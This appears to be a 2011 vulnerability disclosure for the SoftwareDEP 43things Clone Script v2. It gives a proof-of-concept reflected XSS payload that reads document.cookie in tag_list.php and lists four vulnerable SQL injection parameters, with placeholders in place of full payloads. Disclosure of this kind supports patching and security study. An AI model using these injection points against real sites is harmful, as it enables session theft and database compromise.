-----------------------------------------------------------------------
SoftwareDEP 43things Clone Script Multiple Vulnerabilities
Author : v3n0m
Discovered : August, 18-2011 GMT +7:00 Jakarta, Indonesia
Software : 43things Clone script
Developer : http://www.softwaredep.com/
Price : $700
Version : v2 Lower versions may also be affected
-----------------------------------------------------------------------
PoC:
---
XSS Injection:
-------------
http://www.domain.tld/[path]/zeitgeist/tag_list.php?tag=<script>alert(document.cookie)</script>
SQL Injection:
-------------
http://www.domain.tld/[path]/thing_detail.php?thingid=[SQLi]
http://www.domain.tld/[path]/thingshome.php?uid=[SQLi]
http://www.domain.tld/[path]/recent_activity.php?uid=[SQLi]
http://www.domain.tld/[path]/year_in_review.php?uid=[SQLi]
Credits:
-------
www.yogyacarderlink.web.id - irc.yogyacarderlink.web.id
